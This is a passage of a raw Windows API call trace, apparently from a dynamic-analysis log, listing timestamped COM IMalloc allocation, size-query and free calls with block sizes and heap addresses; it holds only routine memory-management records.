pv=0x2764b9d7500) returned 0x18 [0110.755] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7500) [0110.755] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6f80 [0110.755] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d6f80) returned 0x10 [0110.755] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6f80) [0110.755] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7200 [0110.755] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7200) returned 0x18 [0110.756] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7200) [0110.756] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb055a0 [0110.756] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb055a0) returned 0x28 [0110.756] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb055a0) [0110.756] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05360 [0110.756] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05360) returned 0x28 [0110.757] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05360) [0110.757] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05000 [0110.757] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05000) returned 0x28 [0110.757] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05000) [0110.757] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0110.757] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0110.758] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0110.758] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6cc0) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6da0) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50f180) [0110.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8297b0) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829db0) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04e80) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb052a0) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05390) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8297f0) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05270) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04e20) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05210) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb052d0) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04df0) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04d30) [0110.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04f10) [0110.759] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829ab0 [0110.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05630 [0110.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04d30 [0110.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b829d30 [0110.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb053c0 [0110.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829bf0 [0110.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb04e20 [0110.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04d90 [0110.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05660 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05540 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05030 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05480 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05360 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04dc0 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb055d0 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04df0 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05150 [0110.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829fb0 [0110.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a1b0 [0110.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04e80 [0110.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05570 [0110.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05420 [0110.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04eb0 [0110.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a230 [0110.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb050c0 [0110.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb051e0 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04fa0 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05240 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb055a0 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb050f0 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04ee0 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04fd0 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05000 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb051b0 [0110.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a2b0 [0110.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829af0 [0110.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829c70 [0110.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829cb0 [0110.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05060 [0110.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05690 [0110.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04f10 [0110.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05090 [0110.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05120 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05180 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05210 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb056c0 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04b20 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829870 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829d70 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05270 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb054e0 [0110.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb052a0 [0110.766] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb052d0 [0110.766] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05390 [0110.766] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a330 [0110.766] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829db0 [0110.766] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b8297b0 [0110.766] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829970 [0110.766] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04b50 [0110.767] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04bb0 [0110.767] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb054b0 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb04be0 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb06050 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06200 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05db0 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829e30 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05c00 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06170 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb059c0 [0110.768] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05d50 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b5101c0 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6cc0 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d20 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0110.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6880 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67e0 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d80 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6da0 [0110.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6fe0 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6fa0 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6fc0 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7060 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6f80 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d75a0 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d75c0 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7380 [0110.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6fc0 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7400 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7080 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7420 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7200 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d70a0 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d70c0 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7220 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7240 [0110.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7260 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7500 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7280 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7680 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7540 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d76a0 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d72a0 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d76c0 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d72c0 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7900 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7840 [0110.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7860 [0110.774] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7be0 [0110.774] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7ea0 [0110.774] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ea0) returned 0x18 [0110.774] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ea0) [0110.774] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09140 [0110.774] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09140) returned 0x8 [0110.774] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09140) [0110.774] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09320 [0110.774] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09320) returned 0x8 [0110.774] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09320) [0110.774] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7aa0 [0110.774] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7aa0) returned 0x10 [0110.775] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7aa0) [0110.775] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05900 [0110.775] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05900) returned 0x20 [0110.775] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05900) [0110.775] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8298b0 [0110.775] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8298b0) returned 0x30 [0110.775] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8298b0) [0110.775] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b883270 [0110.775] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b883270) returned 0x48 [0110.776] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b883270) [0110.776] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7780 [0110.776] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7780) returned 0x10 [0110.777] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7780) [0110.777] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09170 [0110.777] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09170) returned 0x8 [0110.777] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09170) [0110.777] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a00 [0110.777] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a00) returned 0x10 [0110.781] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a00) [0110.781] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0110.781] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0110.830] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0110.830] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a00 [0110.830] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a00) returned 0x10 [0110.831] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a00) [0110.831] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0110.831] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0110.832] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0110.832] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0110.832] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0110.834] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0110.834] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0110.834] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0110.835] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0110.835] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0110.835] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0110.838] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0110.838] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09170 [0110.838] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09170) returned 0x8 [0110.841] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09170) [0110.842] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0110.842] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0110.842] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0110.842] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0110.842] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0110.842] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0110.842] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a60 [0110.842] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) returned 0x10 [0110.843] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) [0110.843] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0110.843] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0110.843] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0110.843] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0110.843] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0110.843] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0110.843] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09040 [0110.843] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09040) returned 0x8 [0110.844] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09040) [0110.844] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0110.844] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) returned 0x10 [0110.846] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0110.846] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0110.846] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0110.846] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0110.847] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0110.847] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0110.847] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0110.847] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67c0 [0110.847] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e67c0) returned 0x10 [0110.847] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67c0) [0110.848] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09230 [0110.848] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09230) returned 0x8 [0110.848] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09230) [0110.848] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ca0 [0110.848] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) returned 0x10 [0110.848] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) [0110.848] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09070 [0110.848] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09070) returned 0x8 [0110.848] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09070) [0110.848] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ec0 [0110.848] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ec0) returned 0x10 [0110.849] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ec0) [0110.849] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0110.849] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0110.849] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0110.849] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0110.849] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0110.849] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0110.849] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f40 [0110.849] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) returned 0x8 [0110.850] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) [0110.850] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6800 [0110.850] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6800) returned 0x10 [0110.850] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6800) [0110.850] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f30 [0110.850] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) returned 0x8 [0110.850] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) [0110.850] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0110.850] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0110.850] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0110.851] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09270 [0110.851] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09270) returned 0x8 [0110.851] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09270) [0110.851] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a60 [0110.851] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) returned 0x10 [0110.851] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) [0110.851] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0110.851] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0110.851] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0110.851] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ce0 [0110.851] IMalloc:GetSize 